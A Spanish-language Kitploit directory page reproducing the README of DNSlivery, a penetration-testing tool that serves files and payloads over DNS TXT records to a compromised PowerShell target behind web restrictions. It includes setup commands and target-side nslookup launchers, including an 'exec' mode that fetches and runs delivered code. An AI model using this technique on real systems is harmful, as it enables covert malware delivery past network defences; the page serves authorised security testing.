Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DNSlivery — Entrega fácil de archivos y payloads a través de DNS | Kitploit
Herramientas/GitHubGitHub/no0be/dnslivery
Exfiltración de DatosPruebas de PenetraciónComando y ControlAnálisis de DNS
GitHubno0be/dnslivery

DNSlivery

Entrega fácil de archivos y payloads a través de DNS

Ver Repositorio
42677hace 7 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

python-3.7 Known Vulnerabilities

DNSlivery

Entrega fácil de archivos y payloads a través de DNS.

  • DNSlivery
  • Agradecimientos
  • Descripción
    • TL;DR
    • ¿Qué problema intentas resolver?
    • ¿Cómo funciona?
    • Requisitos
  • Configuración
    • Zona DNS
    • DNSlivery
  • Uso
    • Servidor
    • Objetivo

Agradecimientos

Este proyecto ha sido originalmente inspirado por PowerDNS y el segmento técnico de Joff Thyer en el podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).

Descripción

TL;DR

DNSlivery permite entregar archivos a un objetivo utilizando DNS como protocolo de transporte.

Características:

  • permite imprimir, ejecutar o guardar archivos en el objetivo
  • no requiere ningún cliente en el objetivo
  • no requiere un servidor DNS completo

demo-target.git

¿Qué problema intentas resolver?

Entrega fácilmente archivos y/o payloads a un objetivo comprometido donde la entrega web clásica no es posible y sin la necesidad de un software cliente dedicado. Esto aplica a entornos restringidos donde el tráfico web saliente está prohibido o simplemente es inspeccionado por un proxy web curioso.

web-delivery-blocked.png

Aunque ya existen herramientas de tunelización DNS más completas (p. ej., dnscat2 y iodine), todas requieren ejecutar un cliente dedicado en el objetivo. El problema es que probablemente no haya otra forma que DNS para entregar el cliente en entornos tan restringidos. En otras palabras, construir un canal de comunicación DNS con estas herramientas requiere ya tener un canal de comunicación DNS.

En comparación, DNSlivery solo proporciona comunicación unidireccional desde tu servidor al objetivo, pero no requiere ningún cliente dedicado para hacerlo. Por lo tanto, si necesitas construir un canal de comunicación bidireccional confiable a través de DNS, usa DNSlivery para entregar el cliente de una herramienta de tunelización DNS más avanzada a tu objetivo.

¿Cómo funciona?

Al igual que la mayoría de las herramientas de tunelización DNS, DNSlivery utiliza registros TXT para almacenar el contenido de los archivos en su representación base64. Sin embargo, no requiere configurar un servidor DNS completo para funcionar. En su lugar, utiliza la librería scapy para escuchar paquetes DNS entrantes y elaborar la respuesta deseada.

network-process.png

Como la mayoría de los archivos no caben en un único registro TXT, DNSlivery creará múltiples registros ordenados que contienen fragmentos base64 del archivo. Como ejemplo, el diagrama anterior ilustra la entrega del fragmento número 42 del archivo llamado file.

Para recuperar todos los fragmentos base64 y unirlos sin necesidad de un cliente dedicado en el objetivo, DNSlivery generará para cada archivo:

  • un lanzador simple en texto claro
  • un stager confiable codificado en base64

two-stages-delivery.png

Este proceso de entrega en dos etapas es necesario para agregar características al stager (p. ej., manejar respuestas DNS perdidas) que de otro modo no cabrían en un único registro TXT.

Nota sobre compatibilidad con el objetivo

Actualmente, solo se admiten objetivos de PowerShell. Sin embargo, DNSlivery podría mejorarse para admitir objetivos adicionales como bash o python. Por favor, házmelo saber @no0be si esta es una característica que te gustaría ver implementada.

Requisitos

DNSlivery no requiere construir una infraestructura de servidor compleja. De hecho, solo hay dos requisitos simples:

  • poder crear un registro NS en tu zona DNS pública
  • tener un servidor Linux capaz de recibir tráfico udp/53 desde Internet

Configuración

Zona DNS

El primer paso es delegar un subdominio al servidor que ejecutará DNSlivery creando un nuevo registro NS en tu dominio. Como ejemplo, creé el siguiente registro para delegar el subdominio dnsd.no0.be al servidor en vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Si tu zona es gestionada por un proveedor externo, consulta su documentación para crear el registro NS.

DNSlivery

Los únicos requisitos para ejecutar DNSlivery son python3 y su librería scapy.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Uso

Servidor

DNSlivery servirá todos los archivos de un directorio dado (pwd por defecto) y necesita ser ejecutado con privilegios de root para escuchar paquetes udp/53 entrantes.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Ejemplo:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Nota sobre la normalización de nombres de archivo

Dado que el conjunto de caracteres permitido para nombres de dominio es mucho más restrictivo que para nombres de archivo UNIX (según RFC1035), DNSlivery realizará normalización cuando sea necesario.

Ejemplo:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Ten en cuenta que el código de normalización actual no es perfecto, ya que no tiene en cuenta nombres de archivo superpuestos ni límites de tamaño.

Objetivo

En el objetivo, comienza por recuperar el lanzador del archivo deseado solicitando su registro TXT dedicado. Los siguientes tres lanzadores son compatibles:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

Luego, simplemente copia y pega el lanzador citado en la respuesta DNS en una consola de PowerShell para recuperar el archivo en el objetivo.

Ejemplo:

demo-target.git

Descargar herramienta
AcciónLanzadorDescripción
Imprimir[filename].print.[domain](Predeterminado) Imprime el archivo entregado en la consola
Ejecutar[filename].exec.[domain]Ejecuta el archivo entregado (útil para scripts)
Guardar[filename].save.[domain]Guarda el archivo entregado en el disco (útil para binarios)